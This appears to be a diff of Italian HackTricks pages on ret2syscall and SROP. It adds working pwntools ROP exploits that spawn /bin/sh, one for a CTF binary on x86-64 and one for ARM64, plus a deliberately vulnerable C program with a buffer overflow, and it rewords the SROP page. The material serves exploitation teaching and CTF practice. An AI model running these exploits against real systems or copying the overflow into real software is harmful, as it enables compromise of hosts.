||||
{% endcontent-ref %}
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
target = process('./speedrun-001')
|
||||
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
||||
|
||||
# Establish our ROP Gadgets
|
||||
popRax = p64(0x415664)
|
||||
popRdi = p64(0x400686)
|
||||
popRsi = p64(0x4101f3)
|
||||
popRdx = p64(0x4498b5)
|
||||
|
||||
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
||||
writeGadget = p64(0x48d251)
|
||||
|
||||
# Our syscall gadget
|
||||
syscall = p64(0x40129c)
|
||||
|
||||
'''
|
||||
Here is the assembly equivalent for these blocks
|
||||
write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = ''
|
||||
rop += popRdx
|
||||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000)
|
||||
rop += writeGadget
|
||||
|
||||
'''
|
||||
Prep the four registers with their arguments, and make the syscall
|
||||
|
||||
pop rax, 0x3b
|
||||
pop rdi, 0x6b6000
|
||||
pop rsi, 0x0
|
||||
pop rdx, 0x0
|
||||
|
||||
syscall
|
||||
'''
|
||||
|
||||
rop += popRax
|
||||
rop += p64(0x3b)
|
||||
|
||||
rop += popRdi
|
||||
rop += p64(0x6b6000)
|
||||
|
||||
rop += popRsi
|
||||
rop += p64(0)
|
||||
rop += popRdx
|
||||
rop += p64(0)
|
||||
|
||||
rop += syscall
|
||||
|
||||
|
||||
# Add the padding to the saved return address
|
||||
payload = "0"*0x408 + rop
|
||||
|
||||
# Send the payload, drop to an interactive shell to use our new shell
|
||||
target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
```
|
||||
## Altri Esempi e Riferimenti
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
* 64 bit, senza PIE, nx, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* 64 bit, nx, senza PIE, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì. Per scrivere nello stack viene abusata una funzione che esegue operazioni matematiche.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 bit, senza PIE, nx, BF canary, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì.
|
||||
|
|
@ -0,0 +1,145 @@
|
|||
# Ret2syscall - ARM64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
Trova un'introduzione ad arm64 in:
|
||||
|
||||
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Codice
|
||||
|
||||
Utilizzeremo l'esempio dalla pagina:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
|
||||
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compilare senza pie e canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector
|
||||
```
|
||||
## Gadgets
|
||||
|
||||
Per preparare la chiamata al **syscall** è necessaria la seguente configurazione:
|
||||
|
||||
- `x8: 221 Specifica sys_execve`
|
||||
- `x0: ptr a "/bin/sh" specifica il file da eseguire`
|
||||
- `x1: 0 specifica che non vengono passati argomenti`
|
||||
- `x2: 0 specifica che non vengono passate variabili di ambiente`
|
||||
|
||||
Utilizzando ROPgadget.py sono riuscito a individuare i seguenti gadget:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
;Load x0, x1 and x3 from stack and x5 and call x5
|
||||
0x0000000000114c30:
|
||||
ldp x3, x0, [sp, #8] ;
|
||||
ldp x1, x4, [sp, #0x18] ;
|
||||
ldr x5, [sp, #0x58] ;
|
||||
ldr x2, [sp, #0xe0] ;
|
||||
blr x5
|
||||
|
||||
;Move execve syscall (0xdd) to x8 and call it
|
||||
0x00000000000bb97c :
|
||||
nop ;
|
||||
nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Con i gadget precedenti possiamo controllare tutti i registri necessari dalla stack e utilizzare x5 per saltare al secondo gadget per chiamare il syscall.
|
||||
|
||||
### Exploit
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./ret2syscall')
|
||||
elf = context.binary = ELF('./ret2syscall')
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
|
||||
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
|
||||
|
||||
# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
|
||||
call_execve = libc.address + 0xbb97c
|
||||
|
||||
print("/bin/sh in: " + hex(binsh))
|
||||
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
|
||||
print("call_execve in: " + hex(call_execve))
|
||||
|
||||
# stack offset
|
||||
bof = b"A" * (stack_offset)
|
||||
bof += p64(load_x0_x1_x2)
|
||||
|
||||
# ldp x3, x0, [sp, #8]
|
||||
rop = b"BBBBBBBBBBBBBBBB" #x3
|
||||
rop += p64(binsh) #x0
|
||||
|
||||
# ldp x1, x4, [sp, #0x18]
|
||||
rop += b"C"*(0x18 - len(rop))
|
||||
rop += p64(0x00) # x1
|
||||
rop += b"CCCCCCCC" #x4
|
||||
|
||||
# ldr x5, [sp, #0x58]
|
||||
rop += b"D"*(0x58 - len(rop))
|
||||
rop += p64(call_execve) # x5
|
||||
|
||||
# ldr x2, [sp, #0xe0]
|
||||
rop += b"E" * (0xe0 - len(rop))
|
||||
rop += p64(0x00) # x2
|
||||
|
||||
payload = bof + rop
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -16,20 +16,20 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
## Informazioni di base
|
||||
|
||||
**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, mette temporaneamente in pausa il suo lavoro corrente per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per gestire i segnali.
|
||||
**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, mette temporaneamente in pausa il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per gestire i segnali.
|
||||
|
||||
Dopo che il gestore di segnali ha finito, il programma deve **ripristinare il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma pulendo il frame dello stack (la sezione di memoria che memorizza le chiamate alle funzioni e le variabili locali) utilizzato dal gestore di segnali.
|
||||
Dopo che il gestore di segnali ha finito, il programma deve **ripristinare il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma pulendo il frame dello stack (la sezione di memoria che memorizza le chiamate alle funzioni e le variabili locali) che è stato utilizzato dal gestore di segnali.
|
||||
|
||||
La parte interessante è come **`sigreturn`** ripristina lo stato del programma: lo fa memorizzando **tutti i valori dei registri della CPU nello stack.** Quando il segnale non è più bloccato, **`sigreturn` estrae questi valori dallo stack**, ripristinando efficacemente i registri della CPU al loro stato prima che il segnale fosse gestito. Questo include il registro del puntatore dello stack (RSP), che punta alla cima attuale dello stack.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Chiamare la syscall **`sigreturn`** da una catena ROP e **aggiungere i valori del registro** che vorremmo che caricasse nello **stack** è possibile **controllare** tutti i valori dei registri e quindi **chiamare** ad esempio la syscall `execve` con `/bin/sh`.
|
||||
Chiamare la syscall **`sigreturn`** da una catena ROP e **aggiungere i valori dei registri** che vorremmo che caricasse nello **stack** è possibile **controllare** tutti i valori dei registri e quindi **chiamare** ad esempio la syscall `execve` con `/bin/sh`.
|
||||
{% endhint %}
|
||||
|
||||
Nota come questo sarebbe un **tipo di Ret2syscall** che rende molto più facile controllare i parametri per chiamare altri Ret2syscalls:
|
||||
Nota come questo sarebbe un **tipo di Ret2syscall** che semplifica molto il controllo dei parametri per chiamare altri Ret2syscalls:
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Se sei curioso, questa è la **struttura sigcontext** memorizzata nello stack per recuperare successivamente i valori (diagramma da [**qui**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
|
|
@ -139,10 +139,10 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* Assembly binario che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack un [**ret2syscall**](rop-syscall-execv.md) tramite una struttura **sigreturn** e leggere la flag che si trova nella memoria del binario.
|
||||
* Binario Assembly che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack una [**ret2syscall**](rop-syscall-execv/) tramite una struttura **sigreturn** e leggere la flag che si trova nella memoria del binario.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* Assembly binario che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack un [**ret2syscall**](rop-syscall-execv.md) tramite una struttura **sigreturn** (il binario contiene la stringa `/bin/sh`).
|
||||
* Binario Assembly che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack una [**ret2syscall**](rop-syscall-execv/) tramite una struttura **sigreturn** (il binario contiene la stringa `/bin/sh`).
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con la mancanza di gadget che esegue un [**ret2syscall**](rop-syscall-execv.md). La catena ROP scrive `/bin/sh` nella `.bss` chiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax su `0xf` per chiamare un **SROP** ed eseguire una shell.
|
||||
* 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con la mancanza di gadget che esegue un [**ret2syscall**](rop-syscall-execv/). La catena ROP scrive `/bin/sh` nella `.bss` chiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax su `0xf` per chiamare un **SROP** ed eseguire una shell.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri, chiamare una syscall e poi chiamare `exit`. La syscall selezionata è un `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario su `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà nuovamente read in ESP, ma in questo caso ESP punterà alla prossima istruzione, quindi passando un shellcode lo scriverà come prossima istruzione ed eseguirà.
|
||||
* Programma Assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri, chiamare una syscall e poi chiamare `exit`. La syscall selezionata è un `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario su `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà nuovamente read in ESP, ma in questo caso ESP punterà alla prossima istruzione, quindi passando un shellcode lo scriverà come prossima istruzione ed eseguirà.
|
||||
|
|
|
|||
Loading…
Reference in a new issue